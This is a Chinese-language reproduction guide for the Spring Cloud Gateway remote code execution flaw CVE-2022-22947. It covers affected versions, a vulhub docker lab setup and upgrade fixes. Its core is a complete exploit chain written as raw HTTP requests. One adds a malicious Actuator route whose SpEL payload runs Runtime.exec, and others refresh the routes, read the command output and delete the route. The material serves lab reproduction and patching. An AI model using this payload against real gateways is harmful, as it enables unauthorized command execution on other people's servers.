漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

影响版本

3.1.0

3.0.0至3.0.6

漏洞环境

git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d

访问ip:8080出现以下界面说明搭建成功

漏洞复现

1.添加包含恶意的路由

POST /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0

{
  "id": "blue",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

2.看到以上数据包说明新增路由创建成功。

再次发送如下数据包，应用刚才添加的路由，触发SpEL表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3.命令执行成功

GET /actuator/gateway/routes/blue  HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4.删除添加的恶意路由

DELETE /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 325

修复方案

3.1.x用户应升级到3.1.1+

3.0.x用户应升级到3.0.7+